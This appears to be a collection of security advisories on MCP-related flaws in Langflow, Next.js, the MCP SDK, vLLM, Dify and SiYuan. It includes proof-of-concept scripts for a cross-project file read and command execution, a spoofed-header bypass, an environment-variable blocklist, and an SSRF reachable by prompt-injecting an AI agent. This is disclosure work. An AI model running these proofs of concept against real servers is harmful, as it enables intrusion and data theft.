\"$BASE/api/v1/projects/\" \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"name\":\"attacker-project\"}' | jq -r '.id'\n)\n\nexport VICTIM_FLOW_ID=$(\n curl -sS -X POST \"$BASE/api/v1/flows/\" \\\n -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\\\"name\\\":\\\"victim-flow\\\",\\\"data\\\":{\\\"nodes\\\":[],\\\"edges\\\":[]},\\\"folder_id\\\":\\\"$VICTIM_PROJECT_ID\\\"}\" \\\n | jq -r '.id'\n)\n\nprintf 'cross-project-read-proof\\n' > /tmp/secret.txt\n\nexport UPLOAD_JSON=$(\n curl -sS -X POST \"$BASE/api/v1/files/upload/$VICTIM_FLOW_ID\" \\\n -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n -F \"file=@/tmp/secret.txt\"\n)\n\nexport VICTIM_FILE=$(\n printf '%s' \"$UPLOAD_JSON\" | jq -r '.file_path | split(\"/\") | last'\n)\n\nexport VICTIM_URI=\"$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE\"\n\nexport ATTACKER_API_KEY=$(\n curl -sS -X POST \"$BASE/api/v1/api_key/\" \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"name\":\"attacker-mcp-key\"}' | jq -r '.api_key'\n)\n\nexport DIRECT_STATUS=$(\n curl -sS -o /dev/null -w '%{http_code}' \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n \"$VICTIM_URI\"\n)\n\nexport MCP_READ_OUTPUT=$(\nuv run python - <<'PY'\nimport asyncio\nimport base64\nimport os\n\nimport httpx\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamable_http_client\n\nbase = os.environ[\"BASE\"]\nproject_id = os.environ[\"ATTACKER_PROJECT_ID\"]\napi_key = os.environ[\"ATTACKER_API_KEY\"]\nvictim_uri = os.environ[\"VICTIM_URI\"]\nurl = f\"{base}/api/v1/mcp/project/{project_id}/streamable\"\n\nasync def main():\n async with httpx.AsyncClient(headers={\"x-api-key\": api_key}, timeout=30.0) as client:\n async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):\n async with ClientSession(read_stream, write_stream) as session:\n await session.initialize()\n result = await session.read_resource(victim_uri)\n blob = result.contents[0].blob\n print(base64.b64decode(base64.b64decode(blob)).decode().strip())\n\nasyncio.run(main())\nPY\n)\n\necho \"Direct /files/download as attacker -> $DIRECT_STATUS\"\necho \"Project-scoped MCP resources/read -> $MCP_READ_OUTPUT\"\n```\n\nExpected output:\n\n```text\nDirect /files/download as attacker -> 404\nProject-scoped MCP resources/read -> cross-project-read-proof\n```\n\nObserved server logs during verification:\n\n```text\nGET /api/v1/files/download/... 404 Not Found\nPOST /api/v1/mcp/project/
References:
Vulnerability ID: GHSA-39w2-rjm5-chcv
\nSeverity: UNKNOWN
\nAffected Package(s): next
\nDetails:
The Next.js development server (`next dev`) exposes a Model Context Protocol endpoint that does not verify which website a request originates from, allowing a malicious website visited by the developer to read sensitive development data — including the project's location on disk, source code snippets from error reports, the route inventory, and development logs. Only applications run with `next dev` are affected. Production deployments do not serve this endpoint.
References:
Vulnerability ID: GHSA-4f6c-2vvp-gw82
\nSeverity: UNKNOWN
\nAffected Package(s): langflow
\nDetails:
**Description**:\n### Summary\nAn IP spoofing vulnerability in the Model Context Protocol (MCP) configuration installation endpoint (`POST /api/v1/mcp/project/{project_id}/install`) allowed authenticated remote attackers to bypass the \"local-only\" access restriction. By sending a spoofed `X-Forwarded-For: 127.0.0.1` header, an attacker could make the server treat the request as originating from localhost, letting them write/overwrite an MCP client configuration file on the server's filesystem.\n\n### Details\nThe vulnerability lived in the `get_client_ip` helper, used to enforce the local-only gate for `install_mcp_config`. It trusted the leftmost (fully client-controlled) entry of `X-Forwarded-For` unconditionally, with no check for whether the request had actually passed through a trusted proxy.\n\n**Vulnerable code (introduced by commit `d3d06be8e5`, first released in v1.5.0):** `src/backend/base/langflow/api/v1/mcp_projects.py`\n\n```python\ndef get_client_ip(request: Request) -> str:\n # Check for X-Forwarded-For header (common when behind proxies)\n forwarded_for = request.headers.get(\"X-Forwarded-For\")\n if forwarded_for:\n # The client IP is the first one in the list\n return forwarded_for.split(\",\")[0].strip()\n if request.client:\n return request.client.host\n return \"255.255.255.255\"\n\n\n@router.post(\"/{project_id}/install\")\nasync def install_mcp_config(\n project_id: UUID,\n body: MCPInstallRequest, # {client: str, transport: \"sse\" | \"streamablehttp\" | None}\n request: Request,\n current_user: CurrentActiveMCPUser,\n):\n client_ip = get_client_ip(request)\n if not is_local_ip(client_ip):\n raise HTTPException(status_code=500, detail=\"MCP configuration can only be installed from a local connection\")\n ...\n```\n\n**Correction vs. the original report:** the request body accepted by this endpoint is `MCPInstallRequest {client: str, transport: str | None}` (`src/backend/base/langflow/api/v1/schemas/__init__.py`). There is no `mcp_path` field, and the destination path is never attacker-supplied. `install_mcp_config` resolves the write target itself, via `get_config_path(body.client)`, to one of a fixed, small set of well-known per-OS developer-tool config paths under the server process's home directory: `~/.cursor/mcp.json` (Cursor), `~/.codeium/windsurf/mcp_config.json` (Windsurf), or the Claude Desktop config (`~/Library/Application Support/Claude/claude_desktop_config.json` on macOS, `%APPDATA%\\Claude\\claude_desktop_config.json` on Windows/WSL). The impact is therefore \"attacker-influenced content written into one of these fixed files,\" not an arbitrary-path write.\n\n### PoC\n1. Authenticate to obtain a valid access token.\n2. Identify a `project_id` the attacker has access to.\n3. Send:\n ```bash\n curl -X POST \"http://
References:
Vulnerability ID: CVE-2026-104850
\nSeverity: UNKNOWN
\nAffected Package(s): @modelcontextprotocol/sdk, @modelcontextprotocol/client, unknown
\nDetails:
### Summary\nIn affected versions, the SDK's OAuth client let the MCP server decide which authorization server received the client's OAuth credentials. Credentials were not tied to the authorization server they belong to.\n\nA malicious or compromised MCP server could name its own authorization server. With no user interaction, the client would send it:\n\n- the `refresh_token` and `client_secret` stored from an earlier sign-in\n- the `client_secret` or signed assertion configured on a bundled provider\n\n### Am I affected?\nYes, if both of these hold:\n\n- your application uses the SDK's OAuth client over HTTP, through any of:\n - an `authProvider` on a transport\n - the `withOAuth()` middleware\n - direct calls to `auth()` or `fetchToken()`\n- it may connect to an MCP server you do not fully trust while holding credentials for a legitimate authorization server\n\nAffected versions:\n\n- `@modelcontextprotocol/sdk` 1.12.0 through 1.30.1\n- `@modelcontextprotocol/client` 2.0.0 through 2.1.0, only for:\n - bundled providers without `expectedIssuer`\n - credentials stored or supplied without `issuer`\n - direct calls to `fetchToken()`\n - providers that read storage back through `OAuthTokensSchema` or `OAuthClientInformationSchema`\n\nNot affected:\n\n- MCP servers built with the SDK\n- stdio clients\n\n### Fix\nUpgrade to:\n\n- 1.x: `@modelcontextprotocol/sdk` 1.31.0 or later\n- 2.x: `@modelcontextprotocol/client` 2.2.0 or later, and `@modelcontextprotocol/core` 2.2.0 or later if you import it directly\n\nThe client now records the authorization server as `issuer` on saved credentials and does not send them to a different one. The user signs in again, or the call throws.\n\nIn the following cases, upgrading to the patched version is not enough. You also need to make a change:\n\n- **Bundled providers** (`ClientCredentialsProvider`, `PrivateKeyJwtProvider`, `StaticPrivateKeyJwtProvider`, `CrossAppAccessProvider`): pass `expectedIssuer`, for example `expectedIssuer: 'https://auth.example.com'`. Without it they still use whichever authorization server the MCP server names.\n- **Credentials saved without `issuer`:** tokens and client information your `OAuthClientProvider` persisted (file, keychain, database) before upgrading, including everything 1.x saved before 1.31.0. They still go to whichever authorization server is named at first use. Add `issuer` to them, or clear them so users sign in again.\n- **Your own `OAuthClientProvider`:** save exactly what `saveTokens()` and `saveClientInformation()` are given, including `issuer`. For pre-registered credentials, include `issuer` in what `clientInformation()` returns.\n\nNot covered by this fix:\n\n- a new interactive sign-in, which still goes to the authorization server the MCP server names. Only complete sign-ins for servers you trust.\n- `refreshAuthorization()` and `exchangeAuthorization()` called directly\n- 2.x with `skipIssuerMetadataValidation: true`\n\nIf an affected client may have connected to an untrusted MCP server, rotate its client secret or signing key and revoke its tokens.\n\nIf you cannot upgrade yet, connect OAuth clients only to MCP servers you trust. 2.0.0 and 2.1.0 already accept `expectedIssuer`.
References:
Vulnerability ID: GHSA-6qxp-vccf-f47h
\nSeverity: UNKNOWN
\nAffected Package(s): @modelcontextprotocol/sdk, @modelcontextprotocol/client
\nDetails:
### Summary\nIn affected versions, the SDK's OAuth client let the MCP server decide which authorization server received the client's OAuth credentials. Credentials were not tied to the authorization server they belong to.\n\nA malicious or compromised MCP server could name its own authorization server. With no user interaction, the client would send it:\n\n- the `refresh_token` and `client_secret` stored from an earlier sign-in\n- the `client_secret` or signed assertion configured on a bundled provider\n\n### Am I affected?\nYes, if both of these hold:\n\n- your application uses the SDK's OAuth client over HTTP, through any of:\n - an `authProvider` on a transport\n - the `withOAuth()` middleware\n - direct calls to `auth()` or `fetchToken()`\n- it may connect to an MCP server you do not fully trust while holding credentials for a legitimate authorization server\n\nAffected versions:\n\n- `@modelcontextprotocol/sdk` 1.12.0 through 1.30.1\n- `@modelcontextprotocol/client` 2.0.0 through 2.1.0, only for:\n - bundled providers without `expectedIssuer`\n - credentials stored or supplied without `issuer`\n - direct calls to `fetchToken()`\n - providers that read storage back through `OAuthTokensSchema` or `OAuthClientInformationSchema`\n\nNot affected:\n\n- MCP servers built with the SDK\n- stdio clients\n\n### Fix\nUpgrade to:\n\n- 1.x: `@modelcontextprotocol/sdk` 1.31.0 or later\n- 2.x: `@modelcontextprotocol/client` 2.2.0 or later, and `@modelcontextprotocol/core` 2.2.0 or later if you import it directly\n\nThe client now records the authorization server as `issuer` on saved credentials and does not send them to a different one. The user signs in again, or the call throws.\n\nIn the following cases, upgrading to the patched version is not enough. You also need to make a change:\n\n- **Bundled providers** (`ClientCredentialsProvider`, `PrivateKeyJwtProvider`, `StaticPrivateKeyJwtProvider`, `CrossAppAccessProvider`): pass `expectedIssuer`, for example `expectedIssuer: 'https://auth.example.com'`. Without it they still use whichever authorization server the MCP server names.\n- **Credentials saved without `issuer`:** tokens and client information your `OAuthClientProvider` persisted (file, keychain, database) before upgrading, including everything 1.x saved before 1.31.0. They still go to whichever authorization server is named at first use. Add `issuer` to them, or clear them so users sign in again.\n- **Your own `OAuthClientProvider`:** save exactly what `saveTokens()` and `saveClientInformation()` are given, including `issuer`. For pre-registered credentials, include `issuer` in what `clientInformation()` returns.\n\nNot covered by this fix:\n\n- a new interactive sign-in, which still goes to the authorization server the MCP server names. Only complete sign-ins for servers you trust.\n- `refreshAuthorization()` and `exchangeAuthorization()` called directly\n- 2.x with `skipIssuerMetadataValidation: true`\n\nIf an affected client may have connected to an untrusted MCP server, rotate its client secret or signing key and revoke its tokens.\n\nIf you cannot upgrade yet, connect OAuth clients only to MCP servers you trust. 2.0.0 and 2.1.0 already accept `expectedIssuer`.
References:
Vulnerability ID: GHSA-935w-9g4m-p28p
\nSeverity: UNKNOWN
\nAffected Package(s): vllm
\nDetails:
## Affected\n\n- **Ecosystem / package:** pip / `vllm`\n- **Affected versions:** vLLM ≤ 0.25.1 (confirmed on 0.25.1, commit [`752a3a504485`](https://github.com/vllm-project/vllm/tree/752a3a504485790a2e8491cacbb35c137339ad34)). The lower bound predates 0.25.1; maintainers can confirm how far back the tool-continuation re-submission has omitted the salt.\n\n## Summary\n\nOn the GPT-OSS \"Harmony\" path (`POST /v1/responses`), a request that uses a built-in or MCP tool runs as a multi-turn loop: after each tool call vLLM re-renders the full next-turn Harmony prompt and re-submits it to the engine. Turn 1 correctly carries `request.cache_salt`, but the tool-continuation re-submission rebuilds the engine input via `tokens_input(token_ids)` with **no** `cache_salt`. The continuation prefix is therefore cached in the global *unsalted* namespace even though the caller opted into salting. A second tenant who can guess the low-entropy post-tool history submits the reconstructed continuation (unsalted) and reads exact per-turn cached-token counts from the Responses usage — restoring the prompt-membership oracle that `cache_salt` is documented to prevent.\n\nSilently dropping a preserved salt *after* the supported tool workflow is enabled is a broken isolation control: the caller enabled salting and every turn should stay isolated, but continuation turns leak into the shared cache.\n\nThis is distinct from [GHSA-4qjh-9fv9-r85r](https://github.com/vllm-project/vllm/security/advisories/GHSA-4qjh-9fv9-r85r) ([CVE-2025-46570](https://nvd.nist.gov/vuln/detail/CVE-2025-46570)): that advisory is the prefix-cache membership oracle for which `cache_salt` is the documented mitigation, and its PR-17045 fix does not close this site — the Harmony tool continuation silently drops the preserved salt, caching in the unsalted namespace and leaking exact `cached_tokens_per_turn` counts from a different sink (the Responses serving continuation, not general TTFT timing).\n\n## Affected code\n\nLinks pinned to the confirmed commit [`752a3a504485`](https://github.com/vllm-project/vllm/tree/752a3a504485790a2e8491cacbb35c137339ad34) (v0.25.1):\n\n- **The drop (sink):** [`vllm/entrypoints/openai/responses/serving.py#L712-L713`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/openai/responses/serving.py#L712-L713) — `token_ids = context.render_for_completion()` then `engine_input = tokens_input(token_ids)`, with no `cache_salt`.\n- **Correct turn-1 call for contrast:** [`vllm/entrypoints/openai/responses/serving.py#L755`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/openai/responses/serving.py#L755) — `tokens_input(prompt_token_ids, cache_salt=request.cache_salt)`.\n- **`tokens_input` stores the salt only if passed:** [`vllm/inputs/engine.py#L51-L66`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/inputs/engine.py#L51-L66) (`if cache_salt is not None: inputs[\"cache_salt\"] = cache_salt`).\n- **The engine request copies only the current input's salt:** [`vllm/v1/engine/input_processor.py#L380`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/engine/input_processor.py#L380) (`cache_salt=decoder_inputs.get(\"cache_salt\")` → `None` for the continuation).\n- **Prefix-cache hashing keys on the salt only when present:** [`vllm/v1/core/kv_cache_utils.py#L560-L561`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/v1/core/kv_cache_utils.py#L560-L561) (`[request.cache_salt] if (start_token_idx == 0 and request.cache_salt) else []`).\n- **The oracle the attacker reads:** [`vllm/entrypoints/openai/responses/serving.py#L909`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/openai/responses/serving.py#L909) (`cached_tokens_per_turn`).\n- **The documented control being defeated:** [`vllm/entrypoints/openai/responses/protocol.py#L235`](https://github.com/vllm-project/vllm/blob/752a3a504485790a2e8491cacbb35c137339ad34/vllm/entrypoints/openai/responses/protocol.py#L235) (`cache_salt` field).\n\nThe tool-continuation re-submission rebuilds the engine input with no `cache_salt`:\n\n```python\n# vllm/entrypoints/openai/responses/serving.py Lines 711-715\n if isinstance(context, HarmonyContext):\n token_ids = context.render_for_completion()\n engine_input = tokens_input(token_ids)\n\n sampling_params.max_tokens = max_model_len - len(token_ids)\n```\n\nContrast with the correct turn-1 call, which does preserve the caller's salt:\n\n```python\n# vllm/entrypoints/openai/responses/serving.py Lines 754-755\n prompt_token_ids = render_for_completion(messages)\n engine_input = tokens_input(prompt_token_ids, cache_salt=request.cache_salt)\n```\n\n`tokens_input` stores the salt on the engine input only when it is passed, so the continuation input carries none and lands in the unsalted namespace:\n\n```python\n# vllm/inputs/engine.py Lines 51-66\ndef tokens_input(\n prompt_token_ids: list[int],\n *,\n prompt: str | None = None,\n cache_salt: str | None = None,\n) -> TokensInput:\n \"\"\"\n Construct [`TokensInput`][vllm.inputs.engine.TokensInput]\n from optional values.\n \"\"\"\n inputs = TokensInput(type=\"token\", prompt_token_ids=prompt_token_ids)\n\n if prompt is not None:\n inputs[\"prompt\"] = prompt\n if cache_salt is not None:\n inputs[\"cache_salt\"] = cache_salt\n```\n\n## Impact\n\nAn authenticated tenant of a shared deployment can recover whether a guessed post-tool prompt or history was processed by another tenant, with exact cached-token counts rather than noisy latency — the exact prompt-membership oracle `cache_salt` is documented to prevent. It defeats the multi-user prefix-cache isolation guarantee for salted Harmony tool sessions.\n\nPreconditions: a GPT-OSS Harmony model on `/v1/responses`; prefix caching enabled (default); an operator-enabled built-in or MCP tool server; the victim sets `cache_salt` and triggers at least one tool continuation; and the attacker can reconstruct the post-tool history closely enough to match the token prefix. The `AC:H` metric reflects that guessable-history precondition.\n\n\n## Suggested Fix\n\nPropagate `request.cache_salt` into every Harmony (and Parsable) tool-continuation re-submission — at the continuation call site call `tokens_input(token_ids, cache_salt=request.cache_salt)`, mirroring the correct turn-1 call. Carry the salt on the `HarmonyContext` (thread the originating `request` into the context) so no continuation path can omit it:\n\n```diff\n# vllm/entrypoints/openai/responses/serving.py\n if isinstance(context, HarmonyContext):\n token_ids = context.render_for_completion()\n- engine_input = tokens_input(token_ids)\n+ engine_input = tokens_input(\n+ token_ids,\n+ cache_salt=(\n+ context.request.cache_salt\n+ if context.request is not None\n+ else None\n+ ),\n+ )\n```\n\nwith `HarmonyContext.__init__` gaining a `request: ResponsesRequest | None = None` parameter (stored as `self.request`) that `_create_responses` passes when constructing the context. The continuation prefix is then cached in the victim's salted namespace, mirroring turn 1.\n\nSuggested regression test: assert `cached_tokens_per_turn == 0` for a different-salt probe against a salted victim continuation (the four-way control from the proof of concept).\n\n## Credit\n\n**Reported by:** Patch the Planet (Trail of Bits + OpenAI collaboration)\n\nThis vulnerability was discovered using GPT-5.5-Cyber as part of the Patch the Planet security initiative.\n\n---\n\n**Proposed fix:** a fix for this issue is proposed in a public pull request: https://github.com/vllm-project/vllm/pull/51818
References:
Vulnerability ID: CVE-2026-105761
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Dify is an open-source LLM app development platform. Prior to 1.16.0, the PUT /console/api/apps/<app_id>/server endpoint in api/controllers/console/app/mcp_server.py used AppMCPServerController.put() to retrieve an AppMCPServer by the client-supplied server ID without verifying that the server belonged to the requested application and tenant. An authenticated workspace member could therefore change another application's MCP server status and parameters, potentially redirecting data or disabling the service. This issue is fixed in version 1.16.0.
References:
Vulnerability ID: CVE-2026-105741
\nSeverity: UNKNOWN
\nAffected Package(s): langflow, unknown
\nDetails:
**Description**:\n### Summary\nAn IP spoofing vulnerability in the Model Context Protocol (MCP) configuration installation endpoint (`POST /api/v1/mcp/project/{project_id}/install`) allowed authenticated remote attackers to bypass the \"local-only\" access restriction. By sending a spoofed `X-Forwarded-For: 127.0.0.1` header, an attacker could make the server treat the request as originating from localhost, letting them write/overwrite an MCP client configuration file on the server's filesystem.\n\n### Details\nThe vulnerability lived in the `get_client_ip` helper, used to enforce the local-only gate for `install_mcp_config`. It trusted the leftmost (fully client-controlled) entry of `X-Forwarded-For` unconditionally, with no check for whether the request had actually passed through a trusted proxy.\n\n**Vulnerable code (introduced by commit `d3d06be8e5`, first released in v1.5.0):** `src/backend/base/langflow/api/v1/mcp_projects.py`\n\n```python\ndef get_client_ip(request: Request) -> str:\n # Check for X-Forwarded-For header (common when behind proxies)\n forwarded_for = request.headers.get(\"X-Forwarded-For\")\n if forwarded_for:\n # The client IP is the first one in the list\n return forwarded_for.split(\",\")[0].strip()\n if request.client:\n return request.client.host\n return \"255.255.255.255\"\n\n\n@router.post(\"/{project_id}/install\")\nasync def install_mcp_config(\n project_id: UUID,\n body: MCPInstallRequest, # {client: str, transport: \"sse\" | \"streamablehttp\" | None}\n request: Request,\n current_user: CurrentActiveMCPUser,\n):\n client_ip = get_client_ip(request)\n if not is_local_ip(client_ip):\n raise HTTPException(status_code=500, detail=\"MCP configuration can only be installed from a local connection\")\n ...\n```\n\n**Correction vs. the original report:** the request body accepted by this endpoint is `MCPInstallRequest {client: str, transport: str | None}` (`src/backend/base/langflow/api/v1/schemas/__init__.py`). There is no `mcp_path` field, and the destination path is never attacker-supplied. `install_mcp_config` resolves the write target itself, via `get_config_path(body.client)`, to one of a fixed, small set of well-known per-OS developer-tool config paths under the server process's home directory: `~/.cursor/mcp.json` (Cursor), `~/.codeium/windsurf/mcp_config.json` (Windsurf), or the Claude Desktop config (`~/Library/Application Support/Claude/claude_desktop_config.json` on macOS, `%APPDATA%\\Claude\\claude_desktop_config.json` on Windows/WSL). The impact is therefore \"attacker-influenced content written into one of these fixed files,\" not an arbitrary-path write.\n\n### PoC\n1. Authenticate to obtain a valid access token.\n2. Identify a `project_id` the attacker has access to.\n3. Send:\n ```bash\n curl -X POST \"http://
References:
Vulnerability ID: CVE-2026-105740
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, any authenticated Langflow user can achieve Remote Code Execution (RCE) on the server by adding an MCP server with the \"Stdio\" transport. The user-supplied command field is passed directly to bash -c \"exec {command}\" with zero validation, no allowlisting, and no sandboxing. The command executes immediately when the server list is fetched. Additionally, the env field allows arbitrary environment variable injection (e.g., LD_PRELOAD, PATH override). This vulnerability is fixed in 1.9.0.
References:
Vulnerability ID: CVE-2026-105697
\nSeverity: UNKNOWN
\nAffected Package(s): langflow, langflow-base, lfx, unknown
\nDetails:
### Summary\n\nBefore **Langflow 1.10.3**, the MCP stdio transport launched whatever `command` / `args` a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in `bash -c \"exec {command} ...\"`. Any user able to reach the MCP server settings (\"Settings → MCP Servers → Add MCP Server\", `POST/PATCH /api/v2/mcp/servers/{server_name}`) or to build a flow with the MCP Tools component could add a \"server\" whose command is an arbitrary OS command (`touch`, `rm -rf`, a reverse shell, ...). The command runs on the Langflow host as the Langflow process user as soon as Langflow tries to connect to the server (listing servers, loading tools, running the flow) — even when the UI then reports that the stdio server failed to start.\n\nWith the default `LANGFLOW_AUTO_LOGIN=true`, `GET /api/v1/auto_login` hands out a token without credentials, so on an exposed instance running the default configuration this is reachable without an account. `AUTO_LOGIN` is documented as a development-only setting; with it disabled, any authenticated (non-admin) user can exploit it.\n\nThe issue was fixed in two steps and is **fully fixed in Langflow 1.10.3** (and 1.11.0+):\n\n- **1.9.0** — #12290 added a command allowlist and argument/env validation to the REST model (`MCPServerConfig`), blocking the \"Add MCP Server\" vector reported here.\n- **1.10.3** — #14036 applied the same policy at the execution sink (`lfx.base.mcp.util`), including configs embedded in flows / tweaks and the final pre-spawn boundary, and removed the `bash -c` wrapper (the process is now exec'd directly, without a shell).\n\n### Affected versions\n\n| Package (PyPI) | Vulnerable | Patched |\n|---|---|---|\n| `langflow` | `>= 1.1.2, < 1.10.3` | `1.10.3` |\n| `langflow-base` | `>= 0.1.2, < 0.10.3` | `0.10.3` |\n| `lfx` | `< 1.10.3` | `1.10.3` |\n\n| Release | State |\n|---|---|\n| `1.1.2` – `1.4.x` | MCP Stdio component (added in #5148) runs `StdioServerParameters(command=..., args=...)` from the component's `command` field with no validation. |\n| `1.5.0` – `1.8.x` | \"Add MCP Server\" settings page and `/api/v2/mcp/servers` API added (#8388). Stored stdio configs are launched via `bash -c \"exec {command_str} ...\"` with no validation. The PoC below works as-is. |\n| `1.9.0` – `1.10.2` | #12290: `POST`/`PATCH /api/v2/mcp/servers` reject commands outside the allowlist. The execution sink still has no validation and still uses `bash -c`, so configs that do not go through `MCPServerConfig` (for example an MCP Tools component value embedded in a flow or passed as a tweak) can still execute arbitrary commands. |\n| `1.10.3`+ | #14036: one shared policy (`lfx.base.mcp.security.validate_mcp_stdio_config`) is enforced at the API, at flow execution and right before the process is spawned; no shell is used. **Fixed.** |\n\n### Details\n\nVulnerable sink (`src/lfx/src/lfx/base/mcp/util.py`, `MCPStdioClient._connect_to_server`, before 1.10.3):\n\n```python\nserver_params = StdioServerParameters(\n command=\"bash\",\n args=[\"-c\", f\"exec {command_str} || echo 'Command failed with exit code $?' >&2\"],\n env=env_data,\n)\n```\n\n`command_str` is built from the user's `command` + `args`. The only \"validation\" before 1.9.0 was `_validate_node_installation`, which only checks that Node.js is installed when the command contains `npx`. The MCP SDK then starts the process with `anyio.open_process`, so the command runs before any MCP handshake — which is why it executes even if the UI shows \"failed to start\".\n\n### PoC (as reported, Langflow 1.5.0 – 1.8.x)\n\nIn \"Add MCP Server\" → STDIO, add:\n\n```\nName - Test\nCommand - touch\nArguments - /tmp/pwn\n```\n\nOr through the API, using a token from `auto_login` (default configuration):\n\n```bash\nTOKEN=$(curl -s http://127.0.0.1:7860/api/v1/auto_login | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])')\n\ncurl -s -X POST 'http://127.0.0.1:7860/api/v2/mcp/servers/testing' \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n --data-raw '{\"command\":\"touch\",\"args\":[\"/tmp/pwned_langflow\"]}'\n```\n\n`/tmp/pwned_langflow` gets created on the server. On 1.10.3+ the request is rejected with `Command 'touch' is not allowed for security reasons. Allowed commands: bash, cmd, docker, node, npx, python, python3, uvx`, and the same payload fails at the sink (`MCPStdioClient.connect_to_server(\"touch /tmp/pwned_langflow\")` raises `MCPStdioSecurityError`, and no file is created). Wrappers such as `bash -c \"touch ...\"`, `sh -c ...`, `python3 -c ...` and `node -e ...` are also rejected.\n\n### Fix\n\n- **#12290** (1.9.0) — `MCPServerConfig` validators: command allowlist (`node`, `python`, `python3`, `npx`, `uvx`, `docker`, and `cmd`/`sh`/`bash` only to wrap one of those), shell-metacharacter and dangerous-keyword checks on arguments, env var blocklist (`LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, ...), and Docker isolation checks.\n- **#14036** (1.10.3) — moves the policy into `lfx.base.mcp.security.validate_mcp_stdio_config` and enforces it at every entry point (API, embedded flow / tweak configs, the deprecated MCP Stdio component and just before spawn); it also launches the process without a shell:\n\n```python\ncommand_parts = shlex.split(command_str)\ncommand, args = command_parts[0], command_parts[1:]\nvalidate_mcp_stdio_config(command, args, env) # final pre-spawn enforcement\nserver_params = StdioServerParameters(command=command, args=final_args, env=env_data)\n```\n\nLater hardening (1.11.0, #13530) adds optional stricter modes for multi-tenant deployments.\n\n### Workarounds (if you cannot upgrade)\n\n- Set `LANGFLOW_AUTO_LOGIN=false` and do not expose Langflow directly to untrusted networks.\n- Only give Langflow accounts to trusted users.\n\n### Hardening recommendations for 1.10.3+\n\nThe allowlist still lets `npx` / `uvx` run any package by default, which is how MCP servers are normally distributed. On multi-tenant deployments, operators should also set:\n\n- `LANGFLOW_MCP_SERVER_ALLOWED_PACKAGES` — the exact packages `npx` / `uvx` may run.\n- `LANGFLOW_MCP_SERVER_INTERPRETER_HARDENING=true` and `LANGFLOW_MCP_SERVER_DOCKER_HARDENING=true`.\n- On 1.11.1+ (#14150), restricting custom code (`LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false`, `LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true` or `LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true`) also limits MCP stdio servers to superusers.\n\n### Impact\n\nRemote code execution on the Langflow host as the Langflow process user (CWE-78). Any exposed instance on a vulnerable version is affected, whether the attacker has an account or uses the default `AUTO_LOGIN`. The reporter found several internet-facing Langflow servers that were vulnerable.
References:
Vulnerability ID: GHSA-x8gv-g2g3-65fj
\nSeverity: UNKNOWN
\nAffected Package(s): github.com/siyuan-note/siyuan/kernel
\nDetails:
# Security Advisory — SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of `CheckHostSSRF`)\n\n| Field | Value |\n|---|---|\n| **Disclosed by** | joysinleung (`joysinleung@gmail.com`) |\n| **Report date** | 2026-08-13 |\n| **Product** | SiYuan (思源笔记) — `siyuan-note/siyuan` |\n| **Go module** | `github.com/siyuan-note/siyuan/kernel` |\n| **Affected versions** | `<= 3.8.0` (latest release at report time; dynamically verified on v3.8.0) |\n| **Patched versions** | 3.8.1 |\n| **Component** | `kernel/util/httprequest.go` (`CheckHostSSRF`), `kernel/mcp/tools/http_request.go`, `kernel/util/webfetch.go`, `kernel/util/net.go` (`SSRFSafeDialer`) |\n| **Relationship to prior advisory** | **Incomplete-fix variant of GHSA-rg26-cg95-gq6p** (SSRF main-vector remediation). See §Relationship. |\n| **EPSS (exploitation probability)** | Low–Moderate. Requires the attacker to influence an AI Agent / MCP client into fetching an attacker-controlled domain (prompt-injection scenario documented by the tool itself). |\n| **KEV (CISA Known Exploited)** | No (not listed in CISA KEV at report time). |\n| **Default-config reachable** | **Yes** — exploitable under *both* `SafeMode` on and off; only requires the agent `http_request` / `web_fetch` tool to be reachable (default AI tooling). |\n\n---\n\n## Summary\n\nSiYuan's AI Agent tools `http_request` (`util.HTTPRequest`) and `web_fetch` (`util.WebFetch`) are the only SSRF gate for outbound requests from the kernel. That gate is `CheckHostSSRF`, which performs a **single DNS resolution at guard time** and checks whether any returned IP is private/loopback/link-local. The actual connection, however, performs a **second, independent DNS resolution** through the default `net.Dialer` — and **no connect-time private-IP check is mounted** on this path.\n\nBecause the two resolutions are not pinned to the same result, an attacker-controlled domain can answer the guard-resolution with a **public IP** (passing `CheckHostSSRF`) and the connect-resolution with a **private/loopback/metadata IP** (e.g. `169.254.169.254`). This is a classic **DNS-rebinding TOCTOU** that bypasses the SSRF defense entirely. It reaches cloud instance metadata and internal services that the guard was specifically added to block.\n\n## Relationship to Prior Advisories\n\n- **GHSA-rg26-cg95-gq6p** remediated the SSRF *main vector* by adding `CheckHostSSRF` (parse-time) **and** `SSRFSafeDialer` (connect-time). However, **the agent tool paths (`http_request` / `web_fetch`) only received the parse-time half**: they call `CheckHostSSRF` but then connect via `httpclient.NewBrowserRequest()`, whose transport does **not** mount `SSRFSafeDialer`. Even where 